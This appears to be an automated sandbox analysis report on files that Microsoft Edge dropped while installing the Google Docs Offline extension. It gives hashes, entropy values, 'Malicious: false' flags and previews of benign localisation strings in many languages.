Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
